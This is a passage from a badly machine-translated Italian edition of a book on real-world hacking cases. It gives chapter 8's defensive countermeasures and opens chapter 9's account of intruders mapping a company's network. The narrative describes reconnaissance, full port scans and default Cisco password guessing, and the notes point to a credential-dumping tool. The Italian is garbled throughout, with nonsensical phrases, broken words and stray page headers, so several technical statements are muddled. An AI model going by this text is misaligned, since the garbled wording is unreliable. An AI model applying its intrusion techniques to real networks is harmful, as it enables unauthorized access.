I firewall devono essere configurati per consentire l'accesso solo ai servizi essenziali, come richiesto dalle esigenze di business. Un attento riesame dovrebbe essere fatto per garantire che nessun servizio siano accessibili tranne quelli effettivamente necessari per il business.

Inoltre, considerare l'utilizzo di un "firewall stateful inspection." Questo tipo di firewall fornisce una migliore sicurezza, tenendo traccia dei pacchetti per un periodo di tempo. I pacchetti in ingresso sono consentite solo in risposta ad una uscita connessione. In altre parole, il firewall apre le porte per particolari porte in base al traffico in uscita. E, così, realizzare un insieme di regole per controllare le connessioni di rete in uscita. L'amministratore del firewall dovrebbe riesaminare periodicamente la configurazione del firewall e log per garantire che nessun sono state apportate modifiche non autorizzate. Se qualsiasi hacker compromette la firewall stesso, è altamente probabile che l'hacker farà alcuni cambiamenti sottili che forniscono un vantaggio.

Inoltre, se del caso, prendere in considerazione il controllo dell'accesso alla rete VPN basata su l'indirizzo IP del client. Questo sarebbe applicabile quando un numero limitato del personale di connettersi alla rete aziendale tramite VPN. In aggiunta, considerare l'implementazione di una forma più sicura di autenticazione VPN, ad esempio carte intelligenti o certificati lato client piuttosto che un segreto condiviso statica.

Firewall personali

Erik ha rotto nel computer del CEO e scoperto che aveva una persona

Sonal firewall in esecuzione. Egli non è stato arrestato, in quanto ha sfruttato un servizio che è stato consentito dal firewall. Era in grado di inviare comandi

attraverso una stored procedure abilitato di default in server Microsoft SQL. Questo è un altro esempio di sfruttare un servizio che il firewall non ha proteggere. La vittima in questo caso mai preso la briga di esaminare il suo volumi-log dei firewall nous, che contenevano più di 500K di attività registrato. Questo non è l'eccezione. Molte organizzazioni deploy intrusioni preventive tecnologie dell'informazione e di rilevamento e si aspettano che la tecnologia per la gestione stessa, a destra, fuori dalla scatola. Come illustrato, questo comportamento negligente permette un attacco per continuare senza sosta.

La lezione è chiara: costruire con attenzione la regola firewall impostato per filtrare sia il traffico in entrata e in uscita sui servizi che non sono essenziali per Business bisogni, ma anche rivedere periodicamente sia le regole del firewall e la registri per rilevare modifiche non autorizzate o tentativi di violazioni della sicurezza. Una volta che un hacker si rompe in, che sarà lui probabilmente dirottare un sistema dormiente o utente

conto, così da poter tornare in un momento futuro. Un'altra tattica è quella di aggiungere privilegi o gruppi di account esistenti già incrinati.

Esecuzione di revisione periodica degli account utente, gruppi e file di autorizzazioni è un modo per individuare eventuali intrusioni o privilegiate non autorizzato attività. Un certo numero di strumenti di sicurezza dominio commerciale e pubblico sono

L'arte dell'intrusione

186

disponibile quella parte automatizzare questo processo. Poiché gli hacker sanno come bene, è anche importante verificare periodicamente l'integrità di qualsiasi Sicurezza-strumenti connessi, script, e tutti i dati di origine che viene utilizzato in combinazione. Molte intrusioni sono il risultato diretto di configurazioni di sistema non corrette, come un'eccessiva porte aperte, i permessi dei file deboli e mal configurato Server Web. Una volta che un utente malintenzionato compromette un sistema a livello utente, la prossimo passo in attacco sta elevando i privilegi sfruttando sconosciuto o vulnerabilità senza patch e autorizzazioni mal configurati. Non dimenticare, molti attaccanti seguono una serie di tanti piccoli passi in rotta verso un compromissione del sistema completo.

Gli amministratori di database di supporto Microsoft SQL Server dovrebbe consider disabilitando alcune stored procedure (come xp_cmdshell, xp_makewebtask, e Xp_regread) che può essere utilizzato per ottenere ulteriore sistema accesso.

Port Scanning

Mentre leggete questo, il computer collegato a Internet è probabilmente essere scandita da alcuni computer geek alla ricerca del "low-hanging fruit".

Poiché la scansione delle porte è legale negli Stati Uniti (e molti altri paesi prova), il vostro ricorso contro l'aggressore è un po' limitato. Il più fattore importante è distinguere le gravi minacce da parte delle migliaia dello script kiddies sondare il vostro spazio di indirizzi di rete.

Ci sono diversi prodotti, tra cui firewall e rilevamento delle intrusioni sistemi, che identificano alcuni tipi di port scanning e può avvisare il personale appropriato circa l'attività. È possibile configurare la maggior parte dei firewall identificare scansione delle porte e strozzare la connessione di conseguenza. Alcuni prodotti firewall commerciali hanno opzioni di configurazione per evitare veloce port scanning. Ci sono anche strumenti "open source" in grado di identificare la porta scansioni e rilasciare i pacchetti per un certo periodo di tempo.

Conosci il tuo sistema

Un certo numero di compiti di gestione del sistema deve essere eseguito per fare il seguenti:

- Controllare l'elenco dei processi per tutti i processi insoliti o sconosciuti.
- Esaminare l'elenco dei programmi pianificati per ogni non autorizzata aggiunte o modifiche.
- Esaminare il file system, alla ricerca di sistemi nuovi o modificati binari, script, programmi o applicazioni.
- Ricerca qualsiasi insolito riduzione dello spazio libero su disco.

Capitolo 8 vostra proprietà intellettuale non è sicuro

187

- Verificare che tutti gli account di sistema o utente sono attualmente attivi, e rimuovere gli account inattivi o sconosciute.
- Verificare che i conti speciali installati di default sono configurati negare login interattivi o di rete.
- Verificare che le directory di sistema e file hanno accesso ai file corretto permessi.
- Controllare i registri di sistema per qualsiasi strana attività (come ad esempio a distanza accesso da origini sconosciute, o in orari insoliti durante il notte o il fine settimana).
- Audit i log del server Web per identificare eventuali richieste che accedono file non autorizzati. Gli attaccanti, come illustrato in questo capitolo, si copiare i file in una directory del server Web e scaricare il file tramite il Web (HTTP).
- Con ambienti server Web che distribuire FrontPage o WebDav, assicurarsi che le autorizzazioni appropriate siano impostati per evitare utenti non autorizzati di accesso ai file.

Incident Response e Alerting

Sapere quando un incidente di sicurezza è in corso può aiutare con danni controllo. Attivare il controllo del sistema operativo per identificare il potenziale di sicurezza violazioni. Distribuire un sistema automatizzato per avvisare l'amministratore di sistema quando si verificano determinati tipi di eventi di controllo. Si noti tuttavia che se un attaccante ottiene privilegi sufficienti e diventa consapevole della revisione contabile, questo sistema di allarme automatizzato può essere aggirata.

Rilevare i cambiamenti autorizzati nelle applicazioni

Robert era in grado di sostituire l'applicazione helpdesk.exe sfruttando una errata configurazione con authoring FrontPage. Dopo aver compiuto la sua obiettivo di ottenere il codice sorgente del prodotto di punta dell'azienda, ha lasciato la sua versione "hacked" dell'applicazione helpdesk in modo da poter tornare in un secondo momento. Un amministratore di sistema oberati di lavoro non può mai realizzare che un hacker di nascosto modificato un programma esistente, soprattutto se non controlli di integrità sono fatti. Un'alternativa ai controlli manuali è la licenza di un programma come Tripwire

3

che automatizza il processo di rilevamento non autorizzate modifiche.

Autorizzazioni

Erik è stato in grado di ottenere le password di database confidenziali per la visualizzazione di file nella / include directory. Senza queste password iniziali, si potrebbe avere

stato ostacolato nel compiere la sua missione. Dopo aver esposto sensibile

L'arte dell'intrusione

188

Pagina 210

le password del database in un file sorgente leggibile in tutto il mondo era tutto quello che doveva arrivare in. La protezione ottimale è quella di evitare di memorizzare qualsiasi password in chiaro parole nei file batch, di origine, o di script. Una politica a livello aziendale deve essere adottata che proibisce la memorizzazione delle password in chiaro se non assolutamente necessaria. Per lo meno, i file contenenti le password in chiaro devono essere opportunamente protetti per evitare la divulgazione accidentale.

Alla società che Robert stava attaccando, il server Microsoft IIS4 non era stato configurato correttamente per impedire agli utenti anonimi o ospiti dalla lettura e scrittura di file nella directory del server Web. L'esterno file di password utilizzato in combinazione con Microsoft Visual SourceSafe era leggibile da qualsiasi utente connesso al sistema. A causa di queste misconfigurazioni, l'attaccante è stato in grado di ottenere il pieno controllo del target del Dominio Windows. Sistemi di Distribuzione con una directory organizzata strutture per applicazioni e dati probabilmente aumenterà l'efficacia della controlli di accesso.

Password

Oltre alle altre proposte di gestione password comune descritte in questo libro, il successo degli attaccanti in questo capitolo ter mette in evidenza alcuni punti importanti supplementari. Erik ha commentato che lui è stato in grado di prevedere come altra società password verrebbe costruito sulla base delle password era stato in grado di rompere. Se la vostra azienda è utilizzando alcuni standard, metodo prevedibile che i dipendenti siano necessaria per seguire nella costruzione password, dovrebbe essere chiaro che si sta estendendo un invito aperto porte agli hacker.

Una volta che un attaccante ottiene accesso privilegiato a un sistema, ottenendo password parole di altri utenti o database è una priorità. Tali tattiche come Ricerca-ing tramite e-mail o l'intero file system alla ricerca di testo in chiaro password in email, script, file batch, il codice sorgente include, e propaghi fogli è abbastanza comune.

Le organizzazioni che utilizzano il sistema operativo Windows dovrebbe prendere in considerazione la configurazione del sistema operativo in modo che LAN Manager hash delle password sono non memorizzato nel Registro di sistema. Se un attaccante ottiene i diritti di accesso amministrativi, si può estrarre gli hash delle password e tentare di rompere loro. IT persona- Nel può facilmente configurare il sistema in modo che il hash vecchio stile non vengono memorizzati,

aumentando sostanzialmente la difficoltà di fessurazione password. Tuttavia, una volta che un attaccante "possiede" la tua casella, lui o lei può intercettare il traffico di rete, o installare una password di terze parti add-on per ottenere le password degli account.

Un'alternativa a spegnere LAN hash delle password Manager per confermare password struct con un personaggio non impostate disponibile sulla tastiera utilizzando il tasto <Alt> e l'identificatore numerico del carattere, come descritto nel capitolo 6. I programmi password-cracking diffusi fanno

Capitolo 8 vostra proprietà intellettuale non è sicuro

189

Pagina 211

Non tentare di decifrare le password utilizzando tali caratteri dal greco, Ebraico, latino e alfabeti arabo.

Applicazioni di terze parti

Utilizzo di strumenti di scansione Web personalizzate, Erik scoprì un non protetto file generato da un prodotto commerciale FTP log. Il registro contiene il informazioni sul percorso completo per i file che sono stati trasferiti da e verso il stema TEM. Non fare affidamento su configurazioni di default durante l'installazione di terze parti software. Implementare la configurazione meno probabilità di perdite di valore mazioni zioni, come dati di log che possono essere usati per attaccare ulteriormente la rete.

Protezione Azioni

Distribuzione di condivisioni di rete è un metodo comune di condivisione di file e direzione Tories in una rete aziendale. Il personale IT può decidere di non assegnare le password o il controllo di accesso alle condivisioni di rete, perché le azioni sono accessibili solo sulla rete interna. Come accennato in questo libro, numerosi organizzazioni concentrano i loro sforzi sul mantenimento buona sicurezza perimetrale, ma inferiori per il fissaggio del lato interno della rete. Come Robert, attaccanti che si trovano in rete cercherà azioni con nomi che promettono preziose, informazioni sensibili. Nomi descrittivi come la "ricerca" o "backup" solo fare il lavoro di un attaccante in modo significativo più facile. La pratica migliore è quella di proteggere adeguatamente tutte le azioni di rete che contenere informazioni sensibili.

Prevenire DNS Guessing

Robert ha utilizzato un programma guesser DNS per identificare possibili nomi di host all'interno di un file di zona accessibile al pubblico dominio. È possibile impedire display chiusura hostname interni mediante l'attuazione di ciò che è noto come split orizzonte DNS, che ha sia un esterno e un nome interno del server.

Solo pubblicamente accessibili host si fa riferimento nel file di zona del esternalità nome del server nale. Il nome del server interno, molto meglio protetto dal attacco, viene utilizzato per risolvere query DNS interni per la rete aziendale.

Protezione server Microsoft SQL Server

Erik ha trovato una posta e Web server di backup che esegue Microsoft SQL Server in cui il nome e la password erano gli stessi come quello identificato nel codice sorgente "include" i file. Il server SQL non dovrebbe avere stato esposto a Internet senza la necessità di business legittimo. Anche se l'account "SA" è stato rinominato, l'attaccante ha identificato il nuovo il nome account e la password in un file di codice sorgente non protetto. Il migliore L'arte dell'intrusione

190

pratica è quello di filtrare la porta 1433 (Microsoft SQL Server), a meno che non sia assolutamente richiesto.

Protezione Sensitive File

Gli attacchi nei principali storie di questo capitolo sono riusciti, alla fine, perché il codice sorgente è stato salvato su server che non erano adeguatamente assicurato. In ambienti altamente sensibili, come ad esempio una società di R & D o gruppo di sviluppo, un ulteriore livello di sicurezza potrebbe essere fornito attraverso l'impiego di tecnologie di crittografia.

Un altro metodo per un singolo sviluppatore (ma probabilmente non pratico in un ambiente della squadra, dove un certo numero di persone che richiedono l'accesso al codice sorgente del prodotto in sviluppo) sarebbe per crittografare

dati estremamente sensibili come codice sorgente con prodotti come PGP Disk o PGP Corporate Disk. Questi prodotti creano virtuale criptato dischi, ancora funzione in un modo che rende il processo trasparente per l'utente.

Protezione dei backup

Come chiarito in queste storie, è facile per i dipendenti - anche quelli che sono soprattutto di coscienza su questioni di sicurezza - a trascurare il necessità di proteggere adeguatamente i file di backup, inclusi i file di backup e-mail, da la lettura da parte di personale non autorizzato. Durante la mia ex di hacking carriera, ho scoperto che molti amministratori di sistema lasciare compresso archivi di directory sensibili non protetti. E mentre lavora in IT reparto di un grande ospedale, ho notato che il database è stato libro paga regolarmente eseguito il backup e poi a sinistra, senza alcuna protezione di file - in modo che qualsiasi membro del personale esperto poteva accedervi.

Robert ha approfittato di un altro aspetto di questo comune di sorveglianza quando ha trovato il backup del codice sorgente alla mailing list commerciale applicazione lasciato in una directory accessibile al pubblico sul server Web.

Protezione contro gli attacchi di iniezione MS SQL

Robert volutamente rimosso i controlli di convalida dell'input dal Web-based, che sono stati progettati per prevenire iniezione SQL attacco. Le seguenti operazioni di base possono impedire l'organizzazione da essere vittime utilizzando lo stesso tipo di attacco Robert è stato in grado di utilizzare:

- Non eseguire un server Microsoft SQL nel contesto di sistema.

Si consideri che esegue il servizio SQL server nell'ambito di una diversa contesto di account.

Capitolo 8 vostra proprietà intellettuale non è sicuro

191

- Durante lo sviluppo di programmi, scrivere un codice che non generalizzate mangiato query SQL dinamiche.
- Utilizzare le procedure per l'esecuzione di query SQL memorizzato. Impostare un account che viene utilizzato solo per eseguire le stored procedure, e impostare le autorizzazioni necessarie per l'account appena a eseguire le attività necessarie.

Utilizzando Microsoft Servizi VPN

Come mezzo di autenticazione, Microsoft VPN utilizza di Windows Autenticazione, rendendo più facile per un utente malintenzionato di sfruttare le password poveri per l'accesso alla rete VPN. Potrebbe essere opportuno in certi ambienti per richiedere l'autenticazione smart card per l'accesso VPN - altro luogo in cui una forma più forte di autenticazione diverso da un segreto condiviso si alza il bar a pochi tacche. Inoltre, in alcuni casi, può essere appromangiato per controllare l'accesso alla VPN in base all'indirizzo IP del client. In attacco di Robert, l'amministratore di sistema avrebbe dovuto essere monitoro il server VPN per tutti i nuovi utenti aggiunti al gruppo VPN. Altre misure, anche accennato in precedenza, comprendono la rimozione in sospeso conti dal sistema, garantendo che un processo è in atto per rimuovere o disabilitare gli account di partenza dipendenti e, dove possibile, restricting VPN e accesso remoto a dal giorno della settimana e dell'ora del giorno.

Rimozione dei file di installazione

Robert è stato in grado di ottenere le mailing list che cercava non sfruttando

l'applicazione mailing list stessa, ma approfittando della vulnerabilità in script di installazione predefinita dell'applicazione. Una volta che un'applicazione ha stato installato con successo, devono essere rimossi script di installazione.

Rinominare account amministratore

Chiunque abbia una connessione Internet può semplicemente Google per "default Lista password" per trovare i siti che elencano account e password in Stato predefinite di fabbrica del costruttore. Di conseguenza, è una buona idea di rinominare il guest e account amministratore quando possibile. Questo non ha alcun valore, tuttavia, quando il nome dell'account e la password sono memorizzato in chiaro, come era il caso con l'azienda descritta nel Attacco Erik.

4

Tempra di Windows per prevenire Memorizzazione alcune credenziali

La configurazione predefinita di Windows memorizza automaticamente la password hash e memorizza le password in chiaro utilizzato per la connessione remota.

L'arte dell'intrusione

192

Dopo aver ottenuto un numero sufficiente di privilegi, un aggressore può tentare di estrarre come tante più informazioni possibili, comprese le password che sono memorizzati in il Registro di sistema o in altre aree del sistema.

Un insider di fiducia può potenzialmente compromettere un intero dominio utilizzando un po' di ingegneria sociale, quando il suo posto di lavoro è caching delle password localmente. Il nostro insider scontenti chiama il supporto tecnico, lamentando che egli non può accedere alla sua postazione di lavoro. Vuole un tecnico per venire assistere immediatamente. Il tecnico si presenta, accede al sistema utilizzando la sua credenziali e correzioni del "problema". Poco dopo, gli estratti insider l'hash della password del tecnico e le crepe, dando il dipendente accesso agli stessi diritti di amministratore di dominio come il tecnico. (Questi hash nella cache sono double-hash, quindi richiede un altro programma per svelare e rompere questi tipi di hash.)

Un certo numero di programmi, come Internet Explorer e Outlook, la cache le password nel Registro di sistema. Per saperne di più su come disabilitare questo funzionalità, utilizzare Google per la ricerca di "disabilitare la cache password."

Defense in Depth

Le storie di questo capitolo dimostrano, ancora più vivido di altri in il libro, che a guardia del perimetro elettronica della rete della vostra azienda opere non è sufficiente. Nell'ambiente di oggi, il perimetro si scioglie come le imprese invitano gli utenti nella loro rete. Come tale, il firewall non è andando a fermare ogni attacco. L'hacker è andare a guardare per il crack in il muro, tentando di sfruttare un servizio che è consentito dal firewall regole parete. Una strategia di mitigazione è mettere qualsiasi stema accessibile al pubblico sistemi per conto proprio segmento di rete e con attenzione filtrare il traffico in più segmenti di rete sensibili.

Ad esempio, se un server backend SQL è sulla rete aziendale, un firewall secondario può essere impostato che consente solo le connessioni alla porta che esegue il servizio. Impostazione firewall interni per proteggere sensibile patrimonio informativo può essere qualcosa di un fastidio, ma dovrebbe essere considerate un elemento essenziale se si vuole veramente proteggere i vostri dati da malware addetti ai lavori e gli intrusi esterni che riescono a violare il perimetro.

**T
HE
B
OTTOM
L
INE**

Intrusi Determinato si fermerà davanti a nulla per raggiungere i loro obiettivi. Un paziente intruso caso la rete di destinazione, prendendo atto di tutte le accessibili sistemi e dai servizi che sono esposti al pubblico. L'hacker potrebbe trovarsi in attesa per settimane, mesi o anche anni per trovare e sfruttare una nuova vulnerabilità che non è stato affrontato. Durante la mia ex di hacking carriera, io personalmente passo ore e ore di tempo al compromesso

Capitolo 8 vostra proprietà intellettuale non è sicuro

193

sistemi. La mia perseveranza ha pagato, dal momento che sono sempre riuscito a scoprire che crepa nel muro.

L'hacker Erik messo avanti la stessa tenacia e determinazione nel suo gli sforzi per ottenere il codice sorgente altamente pregiato per un periodo di due anni.

E Robert, così, ha intrapreso una complessa, intricata serie di passaggi sia nei suoi sforzi a senso unico a rubare milioni di indirizzi email da vendere a spammer e nel suo sforzo, come Erik, per ottenere il codice sorgente che aveva mirati.

Capite che questi due hacker sono affatto solo. Loro grado di persistenza non è raro nella comunità hacker. Il responsabili di garantire must dell'infrastruttura di un'organizzazione capire quello che potrebbe essere contro. Un hacker ha tempo illimitato di trovare solo un foro, mentre il sistema oberati di lavoro e amministrazione di rete tori hanno il tempo molto limitato per concentrarsi sul compito specifico di puntellare il difese dell'organizzazione.

Come Sun Tzu ha scritto in modo così eloquente in *L'arte della guerra* (Oxford University Press, 1963): "Conosci te stesso e conoscere il tuo nemico; in cento battaglie non sarai mai in pericolo. Quando si è ignoranti del nemico, ma sai te, le tue possibilità di vincere o perdere è uguale. . . "Il messaggio è chiare: I vostri avversari passeranno qualunque tempo necessario per ottenere quello che desiderare. Di conseguenza, si deve effettuare una valutazione dei rischi per identificare la dovrebbero essere prese probabili minacce contro la vostra organizzazione, e queste minacce in considerazione mentre si sta sviluppando una strategia di sicurezza. Essere ben pre-confrontato, ed esercitando una "standard di diligenza" redigendo, nell'attuare le zione, e far rispettare le politiche di sicurezza delle informazioni, andrà un lungo cammino per mantenendo gli attaccanti a bada.

Se la verità è noto, qualsiasi avversario con risorse sufficienti può poi quelle parzialmente entrare, ma il vostro obiettivo dovrebbe essere rendendo così difficile e coltallenging che non vale la pena il tempo.

**N
OTES**

1. interessati ad esaminare i propri segreti LSA e aree di stoccaggio protette? Tutto ciò che serve è un elegante strumento chiamato Cain & Abel, disponibile da www.oxid.it.
2. Questo sito non è più accessibile, ma altri hanno preso il suo posto.

3. Maggiori informazioni su Tripwire è disponibile a www.tripwire.com.
4. Un hacker popolare sito utilizzano per verificare la presenza di posizioni con password di default è www.phenoelit.de/dpl/dpl.html. Se la vostra azienda è elencato, fate attenzione.

L'arte dell'intrusione

194

Pagina 216

195

Capitolo 9

Sul continente

Vedete piccoli pezzi di informazioni, e il modo in cui le cose sono formulate, e si inizia ad avere un po' di una visione della società e le persone che sono responsabili dei sistemi informatici. E c'era questo tipo di sentimento che sapevano di sicurezza, ma che forse stanno facendo qualcosa di un po' po' sbagliato.

- Louis

La

t all'inizio del capitolo 8, ci ha ammonito che la nontech-lettori nici troverebbero parti difficili da seguire. Che è anche più vero nel seguito. Eppure, sarebbe una vergogna per saltare capitolo, dal momento che questa storia è per molti versi affascinante. E il succo può essere facilmente seguita saltando oltre i dettagli tecnici.

Questa è una storia di individui simili che lavorano per una società che è stato ingaggiato per incidere un obiettivo e non farsi prendere.

Da qualche parte a Londra

L'ambiente è in "the City", nel cuore di Londra.

Immagine "di un tipo open-plan di stanza senza finestre sul retro di un Build-zione, con un gruppo di ragazzi techie banding insieme. "Pensa" hacker lontano dalla società, non essere influenzato dal mondo esterno "ciascun lavora febbrilmente alla sua scrivania, ma con una buona dose di battute andare tra di loro.

Seduto in questa stanza anonima tra gli altri, è un ragazzo che chiameremo Louis. E 'cresciuto in una piccola città insulare nel nord dell'Inghilterra, ha iniziato

Pagina 217

giocherellare con i computer circa sette anni quando i suoi genitori hanno comprato un vecchio computer in modo che i bambini potrebbero iniziare a conoscere la tecnologia. Ha iniziato l'hacking come schoolkid quando ha inciampato su un tabulato del personale nomi utente e password e trovato la sua curiosità si mosse. La sua incisione lo ha atterrato in difficoltà all'inizio, quando uno studente più grande (un "prefetto," in inglese terminologia) girato Louis. Ma essere scoperti non lo scoraggiare da imparare i segreti del computer.

Ora diventato grande, con i capelli scuri, Louis trova più molto tempo per gli "sport molto inglese" - di cricket e di calcio - che lui teneva tanto su come uno scolareto.

Diving In

Qualche tempo fa, Louis e il suo amico Brock, martellante via a un vicino del computer, ha preso su un progetto insieme. Il loro obiettivo era basata una società in un paese in Europa - essenzialmente una società di sicurezza, di cadere grandi somme di denaro e traghettare prigionieri tra carcere e tribunale,

e da una prigione all'altra. (L'idea di una società fare entrambe il compito di spostare denaro in giro e anche prigionieri spola Brinks-tipo è aprire gli occhi agli americani, ma un accordo che gli inglesi e Gli europei danno per scontato.)

Qualsiasi azienda che si descrive con la parola "sicurezza" deve sembrare come una sfida particolarmente caldo. Se sono coinvolti con la sicurezza, lo fa che media sono così attento alla sicurezza, che non ci sarebbe modo di irrompere? Per un gruppo di ragazzi con una mentalità hacker, deve sembrare una sfida irresistibile, soprattutto quando, come in questo caso, i ragazzi non aveva nulla da iniziare con oltre il nome della loro società target.

"Abbiamo trattato come un problema da risolvere. Quindi, la prima cosa che abbiamo fatto è stato per scoprire quante più informazioni su questa azienda, come abbiamo potuto, "Louis dice. Hanno iniziato googling società, anche utilizzando Google di tradurre in ritardo, dal momento che nessuno del gruppo ha parlato il linguaggio del paese. Le traduzioni automatiche erano abbastanza vicini per dare loro una sensazione di ciò che l'azienda era tutto e come grande è stato. Pur non essendo molto confortevole, con attacchi di social engineering, che possibilità era escluso comunque a causa della barriera linguistica.

Sono stati in grado di mappare ciò che gli intervalli di indirizzi IP sono stati pubblicamente assegnati a

l'organizzazione dagli indirizzi IP del sito Web della società e la sua mail server, così come dal registro indirizzo IP europeo, Réseaux IP Européens (RIPE), che è simile a American Registry di Internet Numbers (ARIN) negli Stati Uniti. (ARIN è l'organizzazione che gestisce numeri di indirizzo IP per gli Stati Uniti e territori assegnati. L'arte dell'intrusione

196

Poiché gli indirizzi Internet devono essere unici, vi è la necessità per alcuni all'organizzazione di controllare e allocare numero di indirizzi IP blocchi. Il all'organizzazione RIPE zazione gestisce numeri di indirizzi IP per i territori europei.)

Il sito Web principale, hanno appreso, era esterna, con un su host di terze parti ing società. Ma l'indirizzo IP del loro server di posta è stato registrato per la azienda stessa e si trovava all'interno del loro intervallo di indirizzi aziendale. Quindi, i ragazzi potevano interrogare autorevole Service Name Domain aziendale (DNS) del server per ottenere gli indirizzi IP esaminando lo scambio di posta record.

Louis ha provato la tecnica di inviare una e-mail a un indirizzo inesistente. Il messaggio di rimbalzo lo consiglierebbe che la sua e-mail non poteva essere consegnato e mostrerebbe informazioni di intestazione che ha rivelato alcune interna Gli indirizzi IP della società, e anche alcuni email di routing.

In questo caso, però, ciò Louis ottenuto era un "rimbalzo" off del loro esterno mailbox; la sua e-mail aveva ottenuto solo al server di posta esterno, in modo che il Risposta "undeliverable" ha fornito alcuna informazione utile.

Brock e Louis sapevano che sarebbe rendere la vita più facile se la società è stata ospitando il proprio DNS. In tal caso, avrebbero cercato di fare indagini ottenere maggiori informazioni sulla rete interna aziendale, o prendere vantaggio di qualsiasi vulnerabilità associata con la loro versione di DNS. Il notizia non era buona: il loro DNS era altrove, presumibilmente trova loro ISP (o, per usare la terminologia inglese, loro "telecomunicazioni").

Mappatura del Network

Come il loro prossimo passo, Louis e Brock usano una scansione reverse DNS per ottenere i nomi host dei vari sistemi situati all'interno del range di indirizzi IP della società (come spiegato nel capitolo 4, "guardie e ladri", e altrove). Per fare questo, Louis utilizza "solo un semplice script PERL" i ragazzi aveva scritto. (Più comunemente, gli aggressori usano software o web disponibili i siti per le ricerche DNS inverse, come www.sampade.org.)

Hanno notato che "non vi erano nomi molto informativi tornare da alcuni dei sistemi", che era un indizio di ciò che funzionare quei sistemi hanno avuto all'interno della società. Questo anche fornito comprensione della mentalità del personale IT dell'azienda. "E' appena sembrava gli amministratori non avevano ha ottenuto il pieno controllo delle informazioni che sono disponibili sulla loro rete, e questa è la prima fase di intuizione circa se si sta andando ad essere in grado per ottenere l'accesso o meno. "Brock e Louis pensato le indicazioni sembravano favorevoli. Questo è un esempio di cercare di psicanalizzare amministratori, try-zione di entrare in testa su come avrebbero architettato della rete.

Per questa particolare malintenzionato, "era basata in parte sulla conoscenza

Capitolo 9 Sul continente

197

reti e aziende che avevamo visto in particolare europeo paese e il livello di conoscenza IT e il fatto che le persone in questo Paese erano forse un anno e mezzo a due anni dietro il Regno Unito. "

Identificazione di un Router

Essi hanno analizzato la rete utilizzando il sapore Unix di "traceroute", che fornisce un conteggio del numero di router un pacchetto di dati attraversa per raggiungere una destinazione specifica; in gergo, questo è denominato numero di "salti". Essi corse traceroute al server di posta e alla Border firewall. Traceroute riferito che il server di posta è stato uno hop dietro il firewall.

Questa informazione ha dato loro un indizio che il server di posta era o sul DMZ, o tutti i sistemi dietro il firewall sono sulla stessa rete.

(Il DMZ è una cosiddetta *zona demilitarizzata* - un sistema elettronico non terra di rete che si trova tra due firewall e che è normalmente accessibile

sia dalla rete interna e Internet. Lo scopo della DMZ

è quello di proteggere la rete interna in caso uno dei sistemi esposti al

Internet sono compromessi.)

Sapevano il server di posta aveva la porta 25 aperta, e facendo una tracciabilità percorso, sapevano anche che potrebbe effettivamente penetrare il firewall per comunicare con il server di posta. "Abbiamo visto che quel percorso in realtà ci ha portato tramite questo dispositivo router, e poi attraverso il salto successivo che sembrava a scomparire, che in realtà era il firewall e poi uno hop dietro che abbiamo visto il server di posta, quindi abbiamo avuto un'idea su come il rudimentale di rete è stato architettato. "

Louis ha detto che spesso iniziano provando alcune porte comuni che essi sapere sono suscettibili di essere lasciata aperta da firewall, e ha chiamato un paio di servizi come la porta 53 (utilizzata dal DNS); porta 25 (il server di posta SMTP); porta 21 (FTP); porta 23 (telnet); porta 80 (HTTP); porta 139 e 445 (entrambe usate per NetBIOS, su differenti versioni di Windows).

Prima abbiamo condotto port scan intrusivi, eravamo molto interessati a

assicurarsi che avevamo un elenco di destinazione efficace che non ha incluso IP indirizzi per sistemi che non sono stati utilizzati. Nella prima stadi, che hai avuto modo di avere liste di destinatari senza ciecamente andare fuori e semplice scansione ogni indirizzo IP. Dopo che facciamo il nostro obiettivo enumerazione, abbiamo forse cinque o sei finali di sistemi che vogliamo di esaminare ulteriormente.

In questo caso, hanno trovato solo tre porte aperte: un server di posta, un Web server con tutte le patch di sicurezza installate che era apparentemente non essendo utilizzato, e sulla porta 23, il servizio telnet. Quando hanno cercato di telnet in su

L'arte dell'intrusione

198

il dispositivo, hanno ottenuto il tipico "Accesso utente Verification" Cisco password pronta word. Così stavano vedendo un po 'di progresso - almeno loro aveva identificato la scatola come dispositivo di Cisco.

Su un router Cisco, Louis sapeva per esperienza, la password è abbastanza spesso impostato a qualcosa di abbastanza ovvio. "In questo caso abbiamo provato tre password parole - il nome della società, *vuoto* , e *Cisco* , e non abbiamo potuto entrare in quel router. Così, invece di creare troppo rumore, a questo punto, abbiamo deciso di smettere di tentare di accedere al servizio. "

Hanno cercato la scansione del dispositivo Cisco per un paio di porte comuni, ma hanno ottenuto da nessuna parte.

Così, quel primo giorno abbiamo trascorso molto tempo in analisi la società e la loro rete, e l'avvio di qualche porto iniziale scansioni. Non direi che siamo stati sul punto di rinunciare, perché c'erano ancora un bel alcuni trucchi che avremmo sicuramente riprovare con qualsiasi rete lavorare prima abbiamo iniziato a rinunciare.

La somma totale dei loro risultati per un giorno intero di sforzo non è andato molto oltre ad aver identificato un router singolo.

Il Secondo Giorno

Louis e Brock è venuto in per il loro secondo giorno pronti per iniziare a fare di più port scanning intensiva. Usando il termine *servizi* di riferimento per aprire le porte, Louis ha spiegato:

A questo punto noi stavamo pensando a noi stessi che dobbiamo trovare più servizi su queste macchine. Così abbiamo girato il volume un ratura bit TLE e ha cercato di trovare qualcosa che stava realmente accadendo per aiutarci per entrare in questa rete. Quello che abbiamo visto era che ci fosse sicuramente un buon filtraggio firewall in luogo. Eravamo davvero cercando per qualcosa che è stato [di essere] consentito per errore e / o qualcuno cosa che è stato configurato correttamente.

Quindi, utilizzando il programma Nmap, uno strumento standard per la scansione delle porte, che ha fatto una scansione con file services predefinite del programma che sembrava per alcuni 1.600 porte; ancora una volta sono venuti con la borsa vuota - niente di significativo.

"Allora, cosa che abbiamo fatto è stata una completa scansione completa della porta, la scansione sia il router

e i server di posta. "Una scansione completa delle porte significava esaminare più di 65.000 porti. "Stavamo scansione ogni singola porta TCP e in cerca di qualsiasi pos-

servizi bili in questi host che abbiamo avuto nella nostra lista di destinazione a quel punto. "

Questa volta hanno trovato qualcosa di interessante, ma strano e un po ' perplessi.

Port 4065 è stato aperto; è raro trovare una porta alta tali in uso. Louis ha spiegato, "Quello che abbiamo pensato a quel punto era che forse hanno ottenuto un servizio telnet configurato sulla porta 4065. Quindi, quello che abbiamo fatto è stato telnet che la porta e vedere se abbiamo potuto verificare che. "(Telnet è un protocollo per il controllo in remoto un altro computer ovunque su Internet. Utilizzando telnet, Louis collegato alla porta remota, che poi ha accettato comandi da suo computer e ha risposto con uscita visualizzate direttamente al suo schermo.)

